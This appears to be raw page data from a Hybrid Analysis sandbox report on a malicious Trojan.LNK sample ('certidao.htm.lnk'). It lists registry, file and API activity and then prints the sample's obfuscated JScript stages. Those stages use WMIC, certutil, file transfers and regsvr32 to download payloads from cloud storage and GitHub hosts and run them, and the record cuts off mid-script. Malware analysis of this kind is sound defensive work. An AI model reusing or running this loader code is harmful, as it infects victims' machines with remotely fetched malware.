23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T46c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.LNK Sample 82942e3356e6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 82942e3356e6…. Malware family: Trojan.LNK. Threat score 100/100. 13/27 AV engines flagged this file. 9 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a","keywords":["Malicious","Trojan.LNK","malware analysis","sandbox report","threat intelligence","82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"],"about":{"@type":"SoftwareApplication","name":"certidao.htm.lnk","applicationCategory":["lnk"],"identifier":"82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.LNK","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T771,"WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")25:T766,"WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "WMIC.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WMIC.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")26:T67f,"WMIC.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "WMIC.exe" touched "Free Threaded XML DOM Document" (Path: "HKCU\CLSID\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}") "WMIC.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WMIC.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WMIC.exe" touched "WbemStatusCode" (Path: "HKCU\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS") "WMIC.exe" touched "XSL Template" (Path: "HKCU\CLSID\{2933BF94-7B36-11D2-B20E-00C04F983E60}\TREATAS") "WMIC.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "WMIC.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "WMIC.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\TREATAS")27:T49d,"cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "cmd.exe" touched file "C:\Windows\Branding\Basebrd\basebrd.dll" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "cmd.exe" touched file "C:\Windows\System32\wbem\WMIC.exe" "WMIC.exe" touched file "C:\Users\Pv8rtTD\AppData\Roaming\Microsoft\Windows\Cookies" "WMIC.exe" touched file "C:\Windows\System32\wbem\en-US\WMIC.exe.mui" "WMIC.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WMIC.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WMIC.exe" touched file "C:\Windows\System32\msxml3r.dll" "WMIC.exe" touched file "C:\Windows\System32\rsaenh.dll" "WMIC.exe" touched file "C:\Windows\System32\wbem\xsl-mappings.xml" "WMIC.exe" touched file "C:\Windows\System32\wbem\en-US\wmiutils.dll.mui" "WMIC.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "WMIC.exe" touched file "C:\Users\Pv8rtTD\AppData\Local\Microsoft\Windows\Temporary Internet Files" "WMIC.exe" touched file "C:\Users\Pv8rtTD\AppData\Local\Microsoft\Windows\History" "WMIC.exe" touched file "C:\Windows\System32\wshqos.dll"28:T889,"WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "WMIC.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")29:T40c,GetSystemTime@KERNEL32.DLL at 00099715-00001180-45923-20-4AC4270D GetSystemTime@KERNEL32.DLL at 00099715-00001180-45923-41-4AC430B6 GetSystemTime@KERNEL32.DLL at 00099715-00001180-45923-42-4AC3D701 GetSystemTimeAsFileTime@KERNEL32.DLL at 00099715-00001180-45923-229-4AC37C89 GetLocalTime@KERNEL32.DLL at 00099715-00001180-45923-452-4AC4C53D GetSystemTime@KERNEL32.DLL at 00099818-00003104-51763-20-4AC4270D GetSystemTime@KERNEL32.DLL at 00099818-00003104-51763-41-4AC430B6 GetSystemTime@KERNEL32.DLL at 00099818-00003104-51763-42-4AC3D701 GetSystemTimeAsFileTime@KERNEL32.DLL at 00099818-00003104-51763-229-4AC37C89 GetLocalTime@KERNEL32.DLL at 00099818-00003104-51763-452-4AC4C53D GetSystemTime@KERNEL32.DLL at 00099820-00001136-55852-20-4AC4270D GetSystemTime@KERNEL32.DLL at 00099820-00001136-55852-41-4AC430B6 GetSystemTime@KERNEL32.DLL at 00099820-00001136-55852-42-4AC3D701 GetSystemTimeAsFileTime@KERNEL32.DLL at 00099820-00001136-55852-229-4AC37C89 GetLocalTime@KERNEL32.DLL at 00099820-00001136-55852-452-4AC4C53D2a:T54f,GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-9-4AC3727F GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-15-4AC3142E GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-45-4AC316AD GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-49-4AC31896 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-67-4AC36913 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-80-4AC32E73 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-27-4AC398A5 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-44-4AC31730 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-53-4AC367D3 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-144-4AC31911 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-215-4AC384E3 GetProcessHeap@KERNEL32.DLL at 00099715-00001180-45923-286-4AC3BF22 GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-45-4AC316AD GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-9-4AC3727F GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-15-4AC3142E GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-27-4AC398A5 GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-44-4AC31730 GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-49-4AC31896 GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-53-4AC367D3 GetProcessHeap@KERNEL32.DLL at 00099818-00003104-51763-80-4AC32E732b:T7a7e," " "var _0x71d2=["\x72\x61\x6E\x64\x6F\x6D","\x72\x6F\x75\x6E\x64","\x30\x39\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x74\x6F\x72\x61\x67\x65\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x70\x69\x73\x2E\x63\x6F\x6D\x2F\x61\x77\x73\x64\x78\x2F","\x76\x76\x2E\x74\x78\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x2C\x20","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x43\x3A\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x77\x62\x65\x6D\x5C\x57\x4D\x49\x43\x2E\x65\x78\x65","\x20\x6F\x73\x20\x67\x65\x74\x20","\x20\x2F\x66\x6F\x72\x6D\x61\x74\x3A\x22","\x3F","\x22","","\x6F\x70\x65\x6E"];function radador(_0x30f2x2,_0x30f2x3){return Math[_0x71d2[1]](Math[_0x71d2[0]]()* (_0x30f2x3- _0x30f2x2)+ _0x30f2x2)}var xparis;var smaeVar;var ss1;var ss2;var ss3;var pingadori;var prexload1;var prexload2;var prexload3;var ss4;smaeVar= "09/";xparis= _0x71d2[3]+ smaeVar+ _0x71d2[4];preguita= radador(1,8);if(preguita== 1){preload= String[_0x71d2[5]](99)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](110)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](122)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](110)+ String[_0x71d2[5]](101)};if(preguita== 2){preload= String[_0x71d2[5]](102)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](112)+ String[_0x71d2[5]](104)+ String[_0x71d2[5]](121)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](99)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](108)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](121)};if(preguita== 3){preload= String[_0x71d2[5]](102)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](118)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](108)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](121)};if(preguita== 4){preload= String[_0x71d2[5]](108)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](98)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](112)+ String[_0x71d2[5]](100)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](101)};if(preguita== 5){preload= String[_0x71d2[5]](110)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](98)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](102)+ String[_0x71d2[5]](112)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](99)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](115)};if(preguita== 6){preload= String[_0x71d2[5]](110)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](109)+ String[_0x71d2[5]](98)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](102)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](115)};if(preguita== 7){preload= String[_0x71d2[5]](111)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](103)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](110)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](122)+ String[_0x71d2[5]](97)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](111)+ String[_0x71d2[5]](110)};if(preguita== 8){preload= String[_0x71d2[5]](114)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](103)+ String[_0x71d2[5]](105)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](116)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](100)+ String[_0x71d2[5]](117)+ String[_0x71d2[5]](115)+ String[_0x71d2[5]](101)+ String[_0x71d2[5]](114)+ String[_0x71d2[5]](115)};prexload1= String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ _0x71d2[6];prexload2= String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ _0x71d2[6];prexload3= String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ String[_0x71d2[5]](radador(65,90))+ _0x71d2[6];var AppWshShell= new ActiveXObject(_0x71d2[7]);var masterAppData= new ActiveXObject(_0x71d2[8]);var WSh= new ActiveXObject(_0x71d2[8]);var ShA= new ActiveXObject(_0x71d2[9]);ShA.ShellExecute(_0x71d2[10],_0x71d2[11]+ prexload1+ prexload2+ prexload3+ preload+ _0x71d2[12]+ xparis+ _0x71d2[13]+ radador(1111111,9999999)+ _0x71d2[14],_0x71d2[15],_0x71d2[16],0)" " " "var _0x890f=["\x72\x61\x6E\x64\x6F\x6D","\x72\x6F\x75\x6E\x64","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x20\x2F\x74\x72\x61\x6E\x73\x66\x65\x72\x20\x6D\x73\x64\x35\x20\x2F\x70\x72\x69\x6F\x72\x69\x74\x79\x20\x66\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64\x20","\x20","\x2E\x7A","\x72\x75\x6E","\x63\x65\x72\x74\x75\x74\x69\x6C\x20\x2D\x64\x65\x63\x6F\x64\x65\x20","\x2E\x7A\x20","\x30\x37\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x72\x61\x77\x2E\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6F\x6E\x74\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x61\x73\x77\x78\x64\x2F\x78\x2F\x6D\x61\x73\x74\x65\x72\x2F","\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x50\x75\x62\x6C\x69\x63\x5C\x4C\x69\x62\x72\x61\x72\x69\x65\x73\x5C\x74\x65\x6D\x70\x6F\x72\x61\x72\x79","\x43\x3A\x5C\x55\x73\x65\x72\x73\x20\x5C\x50\x75\x62\x6C\x69\x63\x5C\x4C\x69\x62\x72\x61\x72\x69\x65\x73\x5C\x74\x65\x6D\x70\x6F\x72\x61\x72\x79","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x31\x33\x39\x5F\x54\x45\x53\x4C\x41\x5F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x36\x34\x2E\x7E","\x73\x69\x7A\x65","\x5C\x30\x31\x33\x39\x76\x72\x78\x69\x2E\x6C\x6F\x67","\x5C\x30\x31\x33\x39\x72\x65\x66\x6F\x72\x2E\x6C\x6F\x67","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x64\x77\x77\x6E\x2E\x67\x69\x66","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x67\x2E\x67\x69\x66","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x78\x61\x2E\x7E","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x36\x34\x2E\x7E","\x72\x65\x67\x73\x76\x72\x33\x32\x2E\x65\x78\x65\x20\x2F\x73\x20\x20\x22","\x5C","\x22","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x61\x2E\x6A\x70\x67\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x61\x2E\x6A\x70\x67","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x62\x2E\x6A\x70\x67\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x62\x2E\x6A\x70\x67","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x63\x2E\x6A\x70\x67\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x63\x2E\x6A\x70\x67","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x64\x77\x77\x6E\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x64\x78\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x64\x78\x2E\x67\x69\x66","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x67\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x67\x78\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x67\x78\x2E\x67\x69\x66","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x78\x61\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x78\x62\x2E\x67\x69\x66\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x78\x62\x2E\x7E","\x63\x6D\x64\x20\x2F\x56\x20\x2F\x4B\x20\x22\x65\x63\x68\x6F\x20","\x3E","\x5C\x72\x31\x2E\x6C\x6F\x67\x22\x26\x26\x20\x65\x78\x69\x74","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x39\x38\x2E\x64\x6C\x6C\x2E\x7A\x69\